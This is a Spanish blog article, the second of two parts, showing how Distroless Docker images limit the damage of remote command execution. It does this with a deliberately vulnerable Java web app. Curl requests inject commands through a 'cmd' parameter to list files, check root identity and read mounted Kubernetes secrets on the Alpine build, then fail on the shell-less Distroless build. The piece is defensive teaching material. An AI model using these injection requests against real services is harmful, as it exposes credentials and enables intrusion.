Docker Distroless Images: Cómo crear imágenes sin SO sistema ni shell de comandos (2 de 2)

Ya que tenemos los dos entornos tal y como vimos en la primera parte de este artículo, vamos a comenzar a jugar primero con el servicio de Alpine primero utilizando curl para ir guardando las repuestas a las pruebas básicas, como haría un buen pentester en un entorno de Hacking Web Technologies.

Figura 8: Docker Distroless Images.
Cómo crear imágenes sin SO sistema ni shell de comandos (2 de 2)

Hay que recordar que tenemos dos entornos, uno Distroless en Docker y el otro utilizando Alpine, que es el primero al que vamos a atacar con curl:

$ curl http://192.168.99.100:32446 

Hello my friend!%

Utilizamos el parámetro cmd  de nuestra Aplicación Vulnerable Java para ejecutar comandos:

$ curl "http://192.168.99.100:32446/?cmd=ls" 

app.jar
bin
dev
…

Como vemos nos muestra el listado del directorio raíz. Hagamos un ejecución del comando id:

$ curl "http://192.168.99.100:32446/?cmd=id" 

uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

En kubernetes a la hora de pasar credenciales a nuestra aplicación se usan los secretos. Estos se montan cómo volúmenes dentro del contenedor. Veamos qué hay montado:

$ curl "http://192.168.99.100:32446/?cmd=mount" … 

tmpfs on /etc/secret type tmpfs (ro,relatime)
…

Cómo podemos ver hay un volumen montado en /etc/secret. Veamos que se esconde:

$ curl "http://192.168.99.100:32446/?cmd=ls%20/etc/secret" 

password
username

Si accedemos al contenido de ambos ficheros:

$ curl "http://192.168.99.100:32446/?cmd=cat%20/etc/secret/username" 

admin%

$ curl "http://192.168.99.100:32446/?cmd=cat%20/etc/secret/password" 

super-secret-password%

Podemos incluso jugar con apk (manejador de paquetes en Alpine), en caso que necesitemos instalar algún paquete que necesitemos:

$ curl "http://192.168.99.100:32446/?cmd=apk%20list" 

libxext-1.3.3-r2 x86_64 {libxext} (custom) [installed]
libxau-1.0.8-r2 x86_64 {libxau} (custom) [installed]
…

Pensamos que esta pequeña demo es más que su suficiente para demostrar la idea principal. Alguno se preguntará que también es buena práctica no correr un contenedor como root, y lo es, pero mira en GTFOBins la de cosas que se pueden hacer con los comandos comunes de una distro  si no has hecho el pertinente proceso de Hardening de tu GNU/Linux: 

Figura 9: GTFOBins

Ahora veamos que ocurre si conseguimos un RCE (Remote Code Execution) en una aplicación basada en una imagen Distroless. En nuestro caso recuerda la dirección asignada a nuestro contenedor Distroless: http://192.168.99.100:31735.

$ curl "http://192.168.99.100:31735" 

Hello my friend!%

Cómo vemos responde bien. Hagamos uso de un comando ls:

$ curl "http://192.168.99.100:31735/?cmd=ls" 

{"timestamp":"2018-10-11T00:18:36.752+0000","status":500,"error":"Internal Server Error","message":"Cannot run program \"sh\": error=2, No such file or directory”,"path":"/"}%

Recibimos un error interno diciendo que no puede correr el programa sh. No hay shell. Por consiguiente, si invocamos un comando id:

$ curl "http://192.168.99.100:31735/?cmd=id" 

{"timestamp":"2018-10-11T00:20:12.405+0000","status":500,"error":"Internal Server Error","message":"Cannot run program \"sh\": error=2, No such file or directory”,"path":"/"}%

Recibimos el mismo error, y así con cualquier otro comando. Para poder realmente explotar esta aplicación habría que poder subir un payload que fuéramos capaces de ejecutar en el mismo intérprete, en este caso algún código que entendiera la JVM. En fin, un verdadero exploiting de Linux para un McGiver que sea capaz de acceder con un clip, sin ordenador y con una copa de orujo en una mano ;)

Conclusiones finales

Para que podáis ver mejor todo lo que hemos descrito, os dejamos un par de vídeos que recogen las pruebas realizadas en ambos entornos, en los que se ve de manifiesto la importancia de hacer un hardening completo de todo el sistema. Primero en un entorno con Alpine y minikube.

Figura 10: PoC de hacking Aplicación Web Vulnerable montada con Alpine y minikube

Y las mismas pruebas completas que hemos hecho a lo largo de este artículo, pero ahora con contenedores Distroless de Docker que tienen la Aplicación Web Vulnerable Java.

Figura 11: PoC de hacking Aplicación Web Vulnerable montada con Distroless Docker

Si para hacer estas pruebas tú mismo no quieres usar kubernetes, también puedes arrancar los contenedores localmente con Docker. Sólo tendríamos que ejecutar:

$ docker container run -d -p 8080:8080 tuxotron/vulnj:alpine
8431a2397bc84701235c37b43949b6b56d6f177e240e16b4595bc4afc163d76e
~/projects/vulnej

$ docker container run -d -p 8081:8080 tuxotron/vulnj:distrolessa7ad491c7fc01e39b75f952c42290e4cc437c6521a4d67c440f31a32744dbea6

De esta forma tu Aplicación Vulnerable Java basada en Alpine estará disponible en: http://localhost:8080 y la Distroless en http://localhost:8081, tal y cómo puedes ver en las siguientes invocaciones con curl:

$ curl "http://localhost:8081/?cmd=ls" 

{"timestamp":"2018-10-11T00:28:50.788+0000","status":500,"error":"Internal Server Error","message":"Cannot run program \"sh\": error=2, No such file or directory","path":"/"}%

$ curl "http://localhost:8080/?cmd=id" 

uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Si quieres aprender más cosas sobre Docker, ademas de leerte todos los post que hemos publicado y de seguir por aquí los próximos artículos ;) te recomendamos nuestro libro Docker: SecDevOps que puedes encontrar en la web de la editorial 0xWord.

Figura 12: Libro Docker: SecDevOps

Happy Hacking!!

Autores:

Fran Ramírez, (@cyberhadesblog) miembro del equipo de Crazy Ideas en CDO en Telefónica, co-autor del libro "Microhistorias: Anécdotas y Curiosidades de la historia de la informática (y los hackers)", del libro "Docker: SecDevOps" y del blog Cyberhades.

Rafael Troncoso (@tuxotron) es DevOps Tech Lead en USCIS/DHS, co-autor del libro "Microhistorias: Anécdotas y Curiosidades de la historia de la informática (y los hackers)", del libro "Docker: SecDevOps" y del blog Cyberhades.